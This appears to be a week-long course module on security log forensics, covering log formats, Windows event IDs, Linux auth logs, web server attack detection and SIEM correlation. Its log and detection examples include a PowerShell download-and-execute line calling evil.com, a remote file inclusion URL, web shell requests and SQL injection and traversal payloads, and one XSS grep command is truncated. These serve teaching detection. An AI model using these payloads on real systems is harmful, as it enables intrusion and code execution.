Practice log analysis workflows before moving to reading resources.

Opening Framing

Individual log entries tell fragments of a story. A firewall log shows a connection. An authentication log shows a login. A web server log shows a request. Individually, each entry may appear benign. But when correlated across sources and time, patterns emerge: the connection preceded the login, which preceded the malicious request, which came from an IP that failed authentication 100 times yesterday.

Log analysis is the art of transforming raw entries into investigative intelligence. Organizations generate millions of log entries daily across firewalls, servers, applications, and endpoints. Finding the evidence requires understanding log formats, knowing what to search for, and mastering tools that can process massive volumes efficiently.

This week covers log sources and formats, Windows Event Log analysis, Linux log investigation, web server log forensics, correlation techniques, and SIEM concepts. You'll learn to hunt through logs to reconstruct incidents and identify attacker activity across enterprise environments.

Key insight: Logs are only useful if they exist, are retained, and can be searched. Log management is a prerequisite for log forensics.

1) Log Sources and Formats

Understanding the diversity of log sources and their formats is essential for comprehensive analysis:

Common Log Sources:

Operating Systems:
┌─────────────────────────────────────────────────────────────┐
│ Windows         │ Event Logs (EVTX)                        │
│ Linux           │ Syslog, journald, application logs       │
│ macOS           │ Unified Logging System (ULS)             │
└─────────────────────────────────────────────────────────────┘

Network Devices:
┌─────────────────────────────────────────────────────────────┐
│ Firewalls       │ Connection logs, rule matches            │
│ Routers/Switches│ Syslog, SNMP traps                       │
│ Load Balancers  │ Access logs, health checks               │
│ VPN             │ Authentication, connection logs          │
│ Proxy           │ Web access, content filtering            │
│ DNS             │ Query logs, response logs                │
└─────────────────────────────────────────────────────────────┘

Security Tools:
┌─────────────────────────────────────────────────────────────┐
│ IDS/IPS         │ Alert logs, connection logs              │
│ Antivirus/EDR   │ Detection logs, quarantine logs          │
│ DLP             │ Policy violations, data movement         │
│ WAF             │ Web attacks, blocked requests            │
│ CASB            │ Cloud access, policy enforcement         │
└─────────────────────────────────────────────────────────────┘

Applications:
┌─────────────────────────────────────────────────────────────┐
│ Web Servers     │ Access logs, error logs                  │
│ Databases       │ Query logs, authentication               │
│ Email           │ Send/receive, authentication             │
│ Custom Apps     │ Application-specific formats             │
└─────────────────────────────────────────────────────────────┘

Log Formats:

Common Log Formats:

Syslog (RFC 5424):
version timestamp hostname app-name procid msgid structured-data msg

Example:
<34>1 2024-03-15T09:30:45.123Z server01 sshd 1234 - - Failed password for admin

Priority = Facility × 8 + Severity
Facilities: 0=kern, 1=user, 4=auth, 10=security
Severities: 0=emerg, 3=err, 4=warn, 6=info, 7=debug

Common Event Format (CEF):
CEF:Version|Device Vendor|Device Product|Device Version|Signature ID|Name|Severity|Extension

Example:
CEF:0|Vendor|Firewall|1.0|100|Connection Blocked|5|src=10.0.0.1 dst=8.8.8.8

JSON (Modern Applications):
{
  "timestamp": "2024-03-15T09:30:45.123Z",
  "level": "error",
  "message": "Authentication failed",
  "user": "admin",
  "source_ip": "10.0.0.1"
}

Windows Event Log (EVTX):
- XML-based binary format
- Structured fields
- Requires specialized parsers

W3C Extended Log Format (Web Servers):
#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status
2024-03-15 09:30:45 192.168.1.10 GET /index.html - 80 - 10.0.0.1 Mozilla/5.0 200

Log Collection Architecture:

Centralized Logging:

                    ┌─────────────────┐
                    │   SIEM / Log    │
                    │   Management    │
                    └────────┬────────┘
                             │
        ┌────────────────────┼────────────────────┐
        │                    │                    │
┌───────┴───────┐   ┌────────┴────────┐   ┌──────┴──────┐
│ Log Collector │   │  Log Collector  │   │Log Collector│
│   (Syslog)    │   │   (Beats/NXLog) │   │  (Agent)    │
└───────┬───────┘   └────────┬────────┘   └──────┬──────┘
        │                    │                    │
   ┌────┴────┐          ┌────┴────┐          ┌───┴───┐
   │Firewalls│          │ Servers │          │  EDR  │
   │Routers  │          │  Linux  │          │Endpoints│
   └─────────┘          │ Windows │          └───────┘
                        └─────────┘

Collection Methods:
- Push: Source sends to collector (syslog)
- Pull: Collector retrieves from source (API, WMI)
- Agent: Local software collects and forwards

Considerations:
- Network bandwidth
- Storage requirements
- Retention policies
- Time synchronization (NTP critical!)
- Encryption in transit

Time Synchronization:

Time is Critical for Correlation:

Problems Without Sync:
- Events appear out of order
- Correlation fails
- Timeline reconstruction impossible
- Legal challenges to evidence

NTP Configuration:
- All systems sync to common source
- Use internal NTP server
- Document time zone settings
- Log in UTC when possible

Timestamp Formats:
ISO 8601:    2024-03-15T09:30:45.123Z
Unix Epoch:  1710495045
Windows FT:  133555818451230000 (100ns since 1601)

Converting Timestamps:
# Unix to human readable
$ date -d @1710495045

# Python conversion
from datetime import datetime
datetime.fromtimestamp(1710495045)

# Windows FILETIME
$ft = 133555818451230000
[DateTime]::FromFileTime($ft)

Key insight: Without time synchronization, log correlation becomes guesswork. NTP is a prerequisite for effective log analysis.

2) Windows Event Log Analysis

Windows Event Logs are the primary source for Windows system forensics. Understanding key events enables rapid investigation:

Event Log Locations:

Live System:
C:\Windows\System32\winevt\Logs\

Key Log Files:
Security.evtx       → Authentication, access control
System.evtx         → Services, drivers, system events
Application.evtx    → Application errors and info
PowerShell Operational → PowerShell execution
Sysmon (if installed) → Detailed system monitoring

Accessing Logs:
- Event Viewer (GUI)
- PowerShell (Get-WinEvent)
- wevtutil (command line)
- Third-party tools (EvtxECmd)

Critical Security Events:

Authentication Events:

4624 - Successful Logon:
- Logon Type (see below)
- Account Name
- Source IP (Network logons)
- Logon Process

Logon Types:
2  - Interactive (console)
3  - Network (SMB, RPC)
4  - Batch (scheduled task)
5  - Service
7  - Unlock
8  - NetworkCleartext
9  - NewCredentials (runas /netonly)
10 - RemoteInteractive (RDP)
11 - CachedInteractive

4625 - Failed Logon:
- Failure Reason
- Account targeted
- Source IP
- Logon Type attempted

Status Codes:
0xC000006D - Bad username or password
0xC000006A - Correct username, wrong password
0xC0000234 - Account locked
0xC0000072 - Account disabled
0xC000006F - Outside authorized hours
0xC0000070 - Workstation restriction

4648 - Explicit Credentials:
- Different credentials used
- Common with runas, PsExec
- Shows both accounts involved

4672 - Special Privileges:
- Admin logon
- Sensitive privilege assigned
- Often follows 4624 for admins

Account and Group Events:

Account Management:

4720 - User Account Created
4722 - User Account Enabled
4723 - Password Change Attempted
4724 - Password Reset Attempted
4725 - User Account Disabled
4726 - User Account Deleted
4738 - User Account Changed
4740 - User Account Locked Out

Group Changes:
4728 - Member Added to Security-Enabled Global Group
4732 - Member Added to Security-Enabled Local Group
4756 - Member Added to Universal Group
4729 - Member Removed from Global Group
4733 - Member Removed from Local Group

Watch For:
- Accounts created during incident timeframe
- Accounts added to privileged groups
- Service accounts modified
- Disabled accounts re-enabled

Investigation Query:
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4720,4722,4728,4732,4756
    StartTime=(Get-Date).AddDays(-7)
}

Process and Service Events:

Process Tracking (Requires Audit Policy):

4688 - Process Creation:
- New Process Name
- Creator Process Name (Parent)
- Command Line (if enabled)
- Token Elevation Type

Enable Command Line Logging:
Computer Configuration → Administrative Templates →
System → Audit Process Creation → Include command line

4689 - Process Termination

Service Events (System Log):

7034 - Service Crashed Unexpectedly
7035 - Service Control Manager - sent start/stop
7036 - Service entered running/stopped state
7040 - Service start type changed
7045 - New Service Installed ← CRITICAL!

Event 7045 Fields:
- Service Name
- Service File Name (binary path)
- Service Type
- Service Start Type
- Service Account

Malicious Indicators:
- Service from temp directory
- Random service names
- Services running as SYSTEM from unusual paths
- Services installed during incident window

PowerShell Query:
Get-WinEvent -FilterHashtable @{
    LogName='System'
    ID=7045
} | Format-List TimeCreated, Message

PowerShell Logging:

PowerShell Event Sources:

Windows PowerShell Log:
- 400: Engine started
- 403: Engine stopped
- 600: Provider started

PowerShell Operational Log:
- 4103: Module logging
- 4104: Script block logging (CRITICAL!)
- 4105: Script block logging started
- 4106: Script block logging stopped

Event 4104 - Script Block Logging:
- Full PowerShell code executed
- Includes decoded commands
- Catches encoded/obfuscated scripts

Example 4104 Content:
ScriptBlockText:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

Enable Enhanced Logging:
- Module Logging
- Script Block Logging  
- Transcription

Investigation Query:
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-PowerShell/Operational'
    ID=4104
} | Where-Object { $_.Message -match 'downloadstring|invoke-expression|iex' }

Key insight: Enable process command line logging and PowerShell script block logging BEFORE incidents. The evidence won't exist if logging isn't configured.

3) Linux Log Analysis

Linux logging is primarily text-based, making it accessible with standard command-line tools:

Key Linux Log Files:

Authentication:
/var/log/auth.log       (Debian/Ubuntu)
/var/log/secure         (RHEL/CentOS)

System:
/var/log/syslog         (Debian/Ubuntu)
/var/log/messages       (RHEL/CentOS)
/var/log/kern.log       (Kernel messages)

Applications:
/var/log/apache2/       (Apache)
/var/log/nginx/         (Nginx)
/var/log/mysql/         (MySQL)

Package Management:
/var/log/dpkg.log       (Debian packages)
/var/log/yum.log        (RHEL packages)
/var/log/apt/           (APT history)

Other:
/var/log/cron           (Cron execution)
/var/log/mail.log       (Mail server)
/var/log/faillog        (Failed logins - binary)
/var/log/wtmp           (Login history - binary)
/var/log/btmp           (Failed logins - binary)

Authentication Log Analysis:

auth.log / secure Analysis:

Successful SSH Login:
Mar 15 09:30:45 server sshd[1234]: Accepted publickey for user from 10.0.0.1 port 54321 ssh2

Failed SSH Login:
Mar 15 09:30:46 server sshd[1235]: Failed password for invalid user admin from 10.0.0.2 port 54322 ssh2

Sudo Usage:
Mar 15 09:31:00 server sudo: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash

Session Events:
Mar 15 09:31:01 server sudo: pam_unix(sudo:session): session opened for user root

User Management:
Mar 15 09:32:00 server useradd[1240]: new user: name=backdoor, UID=1001, GID=1001, home=/home/backdoor
Mar 15 09:32:30 server passwd[1245]: pam_unix(passwd:chauthtok): password changed for backdoor

Investigation Queries:

# All failed logins
$ grep "Failed" /var/log/auth.log

# Successful logins
$ grep "Accepted" /var/log/auth.log

# Sudo commands executed
$ grep "COMMAND=" /var/log/auth.log

# User creation
$ grep -E "useradd|adduser" /var/log/auth.log

# Brute force detection (top IPs)
$ grep "Failed password" /var/log/auth.log | \
    awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10

journalctl for Systemd:

journalctl Commands:

Basic Usage:
$ journalctl                    # All logs
$ journalctl -f                 # Follow (like tail -f)
$ journalctl -r                 # Reverse (newest first)

Time Filtering:
$ journalctl --since "2024-03-15 09:00:00"
$ journalctl --since "1 hour ago"
$ journalctl --since yesterday --until today
$ journalctl --since "2024-03-15" --until "2024-03-16"

Unit/Service Filtering:
$ journalctl -u sshd            # SSH daemon
$ journalctl -u nginx           # Nginx
$ journalctl -u cron            # Cron

Priority Filtering:
$ journalctl -p err             # Errors and above
$ journalctl -p warning         # Warnings and above
Priorities: emerg, alert, crit, err, warning, notice, info, debug

Output Formats:
$ journalctl -o json            # JSON output
$ journalctl -o json-pretty     # Formatted JSON
$ journalctl -o short-precise   # Precise timestamps

Kernel Messages:
$ journalctl -k                 # Kernel messages only

Boot Logs:
$ journalctl -b                 # Current boot
$ journalctl -b -1              # Previous boot
$ journalctl --list-boots       # List all boots

Export for Analysis:
$ journalctl --since yesterday -o json > logs.json

Log Rotation and Missing Logs:

Log Rotation:

logrotate Configuration:
/etc/logrotate.conf
/etc/logrotate.d/*

Typical Rotation:
- Daily, weekly, or by size
- Compressed after rotation (.gz)
- Retained for X days/weeks

Archived Logs:
/var/log/auth.log.1       # Previous
/var/log/auth.log.2.gz    # Compressed older

Search Across Rotated Logs:
$ zgrep "Failed password" /var/log/auth.log*
$ zcat /var/log/auth.log.*.gz | grep "Failed password"

Missing Log Considerations:
- Log rotation may have purged evidence
- Attacker may have cleared logs
- Check for gaps in timestamps
- Compare log file times to expected events

Detecting Log Tampering:
- Gaps in sequence numbers (if present)
- Timestamp inconsistencies
- Unusual log file modification times
- Missing expected entries

$ ls -la /var/log/auth.log*
$ stat /var/log/auth.log

Key insight: Attackers often clear logs. Missing entries or suspicious gaps are findings themselves—document what's NOT there as well as what is.

4) Web Server Log Analysis

Web servers are common attack targets. Their logs reveal reconnaissance, exploitation, and post-compromise activity:

Apache/Nginx Access Log Format:

Combined Log Format:
10.0.0.1 - - [15/Mar/2024:09:30:45 +0000] "GET /index.html HTTP/1.1" 200 1234 "http://referrer.com" "Mozilla/5.0..."

Fields:
1. Client IP           10.0.0.1
2. Ident               - (usually empty)
3. User                - (unless authenticated)
4. Timestamp           [15/Mar/2024:09:30:45 +0000]
5. Request             "GET /index.html HTTP/1.1"
6. Status Code         200
7. Response Size       1234
8. Referrer            "http://referrer.com"
9. User Agent          "Mozilla/5.0..."

Log Locations:
Apache:  /var/log/apache2/access.log
Nginx:   /var/log/nginx/access.log
IIS:     C:\inetpub\logs\LogFiles\

Attack Pattern Detection:

Common Attack Signatures:

SQL Injection:
$ grep -iE "union.*select|'.*or.*'|;.*--|sleep\(|benchmark\(" access.log
Examples:
/page?id=1' UNION SELECT * FROM users--
/login?user=admin'--
/search?q='; DROP TABLE users;--

Cross-Site Scripting (XSS):
$ grep -iE "alert(1)
/page?name=

Directory Traversal:
$ grep -E "\.\./|\.\.%2f|%2e%2e" access.log
Examples:
/download?file=../../../etc/passwd
/include.php?page=....//....//etc/shadow

Web Shell Access:
$ grep -iE "cmd=|exec=|shell=|passthru|system\(" access.log
$ grep -E "\.(php|asp|aspx|jsp)\?.*=" access.log
Examples:
/uploads/shell.php?cmd=whoami
/images/backdoor.aspx?c=dir

Remote File Inclusion:
$ grep -iE "=https?://" access.log
Examples:
/include.php?file=http://evil.com/shell.txt

Scanner Detection:
$ grep -iE "nikto|sqlmap|nmap|dirbuster|gobuster|wfuzz|burp" access.log

Statistical Analysis:

Access Log Statistics:

Top IPs by Request Count:
$ awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

Top Requested URLs:
$ awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -20

Status Code Distribution:
$ awk '{print $9}' access.log | sort | uniq -c | sort -rn

404 Errors (Enumeration):
$ awk '$9 == 404 {print $7}' access.log | sort | uniq -c | sort -rn

Requests by Hour:
$ awk '{print $4}' access.log | cut -d: -f2 | sort | uniq -c

Large Responses (Exfiltration?):
$ awk '$10 > 1000000 {print $1, $7, $10}' access.log

POST Requests:
$ grep "POST" access.log

User Agent Analysis:
$ awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -rn | head -20

Requests from Specific IP:
$ grep "^10.0.0.1" access.log | less

Error Log Analysis:

Error Log Investigation:

Apache Error Log Format:
[Fri Mar 15 09:30:45.123456 2024] [error] [pid 1234] [client 10.0.0.1:54321] message

Common Error Types:

File Not Found (Enumeration):
[error] [client 10.0.0.1] File does not exist: /var/www/html/admin
[error] [client 10.0.0.1] File does not exist: /var/www/html/wp-admin

Permission Denied:
[error] [client 10.0.0.1] Permission denied: /var/www/html/.htpasswd

PHP Errors (Failed Exploits):
[error] PHP Warning: include(/etc/passwd): failed to open stream
[error] PHP Warning: mysql_query(): You have an error in your SQL syntax
[error] PHP Fatal error: Call to undefined function system()

ModSecurity (WAF):
[error] ModSecurity: Access denied with code 403. Pattern match "union.*select"

Investigation Queries:
$ grep -i error /var/log/apache2/error.log
$ grep "File does not exist" error.log | awk -F: '{print $NF}' | sort | uniq -c
$ grep "Permission denied" error.log
$ grep "PHP" error.log | grep -i "warning\|fatal"

Key insight: 404 errors reveal enumeration. 500 errors may indicate failed exploits. Successful attacks often leave no errors—combine with access logs for complete picture.

5) Log Correlation and Timeline Building

The power of log analysis comes from correlating events across multiple sources to reconstruct complete attack narratives:

Correlation Concepts:

Single Source Limitations:
- Firewall sees connection, not content
- Web log sees request, not authentication
- Auth log sees login, not subsequent actions
- Each source provides partial picture

Correlation Example:
Time        Source      Event
09:30:00    Firewall    Connection: 10.0.0.1 → WebServer:80
09:30:01    Web Log     POST /login.php from 10.0.0.1
09:30:01    Auth Log    Failed login: admin from WebServer
09:30:02    Web Log     POST /login.php from 10.0.0.1
09:30:02    Auth Log    Successful login: admin from WebServer
09:30:05    Web Log     GET /admin/users.php from 10.0.0.1
09:30:10    Web Log     POST /admin/upload.php from 10.0.0.1
09:30:11    AV Log      Malware detected: /uploads/shell.php

Correlation reveals: Brute force → Login → Admin access → Webshell upload

Timeline Building:

Manual Timeline Construction:

1. Identify Pivot Point:
   - Known bad IP
   - Malware detection time
   - Alert trigger
   - User report

2. Gather Relevant Logs:
   - Time window: hours/days before and after
   - All sources that might have evidence
   - Export in consistent format

3. Normalize Timestamps:
   - Convert to UTC
   - Account for time zone differences
   - Validate synchronization

4. Merge and Sort:
   $ cat firewall.log web.log auth.log | sort -k1,2 > timeline.txt

5. Filter to Relevant Events:
   $ grep -E "10.0.0.1|malware.exe|admin" timeline.txt

6. Document Findings:
   - Create chronological narrative
   - Note evidence source for each event
   - Identify gaps and uncertainties

Timeline Template:
| Time (UTC)          | Source    | Event                        | Notes           |
|---------------------|-----------|------------------------------|-----------------|
| 2024-03-15 09:30:00 | Firewall  | 10.0.0.1 → Server:80        | Initial contact |
| 2024-03-15 09:30:01 | Web       | POST /login.php              | Login attempt   |
| 2024-03-15 09:30:02 | Auth      | Successful login: admin      | Compromised     |

SIEM Concepts:

Security Information and Event Management:

SIEM Functions:
- Log collection and aggregation
- Normalization (common format)
- Correlation rules
- Alerting
- Search and investigation
- Reporting and compliance

Common SIEM Platforms:
- Splunk (commercial leader)
- Elastic Security (ELK-based)
- Microsoft Sentinel (cloud)
- IBM QRadar
- LogRhythm
- Graylog (open source)

Splunk Query Examples:

Basic Search:
index=security sourcetype=WinEventLog EventCode=4624

Field Extraction:
index=web_logs | stats count by src_ip | sort -count

Time Chart:
index=auth_logs "Failed password" | timechart count by src_ip

Correlation Search:
index=security EventCode=4625 
| stats count by src_ip 
| where count > 10
| join src_ip [search index=security EventCode=4624]

ELK Query Examples:

Kibana KQL:
event.code: 4624 AND winlog.logon.type: 10

Elasticsearch Query:
{
  "query": {
    "bool": {
      "must": [
        { "match": { "event.code": "4624" } },
        { "range": { "@timestamp": { "gte": "now-1h" } } }
      ]
    }
  }
}

Splunk for Forensics:

Splunk Investigation Queries:

Authentication Analysis:
index=wineventlog EventCode=4624 OR EventCode=4625
| stats count by EventCode, Account_Name, Source_Network_Address
| sort -count

Brute Force Detection:
index=wineventlog EventCode=4625
| stats count by Source_Network_Address
| where count > 100

Lateral Movement:
index=wineventlog EventCode=4624 Logon_Type=3
| stats values(Workstation_Name) by Account_Name

New Services:
index=wineventlog EventCode=7045
| table _time, Service_Name, Service_File_Name, Service_Account

PowerShell Execution:
index=wineventlog source="WinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| table _time, ScriptBlockText

Process Creation:
index=wineventlog EventCode=4688
| table _time, Creator_Process_Name, New_Process_Name, Process_Command_Line

Timeline View:
index=* (src_ip="10.0.0.1" OR dest_ip="10.0.0.1")
| sort _time
| table _time, sourcetype, src_ip, dest_ip, action, user

Key insight: SIEM makes correlation scalable, but understanding the underlying logs and manual analysis skills remain essential. The tool is only as good as the analyst using it.

Real-World Context

Case Study: Ransomware Investigation

A company suffered a ransomware attack. Log analysis reconstructed the complete attack chain: Firewall logs showed initial connection from a Tor exit node three weeks prior. VPN logs revealed successful authentication using stolen credentials. Windows Security logs showed Event 4624 Type 10 (RDP) from the VPN IP. Event 7045 showed a new service installed running from C:\Windows\Temp. Event 4688 with command line logging captured the ransomware execution command. The timeline from initial access to ransomware deployment was 18 days, with lateral movement visible in Type 3 logon events.

Case Study: Data Exfiltration

An insider threat investigation used log correlation to prove data theft: Badge system logs showed after-hours building access. Proxy logs showed connections to personal cloud storage. DLP logs showed large file uploads matching sensitive documents. File server audit logs showed access to restricted folders. Email logs showed messages to personal accounts. Correlating these sources created an irrefutable timeline of theft that no single log source could prove alone.

MITRE ATT&CK Alignment:

Log Analysis Detects:

Initial Access:
- T1078: Valid Accounts → Authentication logs
- T1190: Exploit Public App → Web server logs
- T1566: Phishing → Email logs

Execution:
- T1059.001: PowerShell → Event 4104
- T1569.002: Service Execution → Event 7045

Persistence:
- T1543.003: Windows Service → Event 7045
- T1053.005: Scheduled Task → Task Scheduler logs
- T1098: Account Manipulation → Events 4720, 4728

Credential Access:
- T1110: Brute Force → Event 4625 patterns
- T1003: Credential Dumping → Event 4624/4648 anomalies

Lateral Movement:
- T1021.001: RDP → Event 4624 Type 10
- T1021.002: SMB → Event 4624 Type 3

Defense Evasion:
- T1070.001: Clear Event Logs → Event 1102
- T1562.002: Disable Logging → Logging gaps

Exfiltration:
- T1041: Exfiltration Over C2 → Proxy logs
- T1567: Exfiltration to Cloud → DLP/Proxy logs

Every ATT&CK technique leaves log traces somewhere. The challenge is having the right logs enabled and retained.

Guided Lab: Multi-Source Log Investigation

In this lab, you'll analyze logs from multiple sources to investigate a simulated security incident and build a complete attack timeline.

Lab Environment:

• Sample log files (Windows Events, Linux auth, web server)
• Splunk Free or ELK stack (optional)
• Command-line tools (grep, awk, sort)
• Spreadsheet for timeline building

Exercise Steps:

1. Review each log source for the investigation timeframe
2. Identify the initial compromise indicator
3. Track authentication events across systems
4. Correlate web server logs with authentication logs
5. Identify any lateral movement or privilege escalation
6. Build a chronological timeline of all events
7. Document gaps and additional logs needed

Reflection Questions:

• Which log source provided the most critical evidence?
• What events would you have missed with only one source?
• What additional logging would have helped the investigation?

Week Outcome Check

By the end of this week, you should be able to:

• Identify and locate key log sources across Windows and Linux
• Parse and analyze Windows Event Logs for security events
• Investigate Linux authentication and system logs
• Detect attack patterns in web server logs
• Correlate events across multiple log sources
• Build forensic timelines from log evidence
• Use command-line tools for efficient log analysis
• Understand SIEM concepts and basic query construction

🎯 Hands-On Labs (Free & Essential)

Practice log analysis workflows before moving to reading resources.

💡 Lab Tip: Normalize timestamps first so correlations don't drift across sources.

🛡️ Container Forensics Basics

Container incidents require different evidence sources than traditional hosts. Image layers and runtime metadata matter.

Container evidence sources:
- Image layers and Dockerfile history
- Container runtime logs
- Orchestrator audit logs (Kubernetes)
- Host-level filesystem mounts

📚 Building on CSY302: Container security architecture and runtime controls.

Resources

Lab

Complete the following lab exercises to practice log analysis techniques. Use provided sample logs or your own lab environment.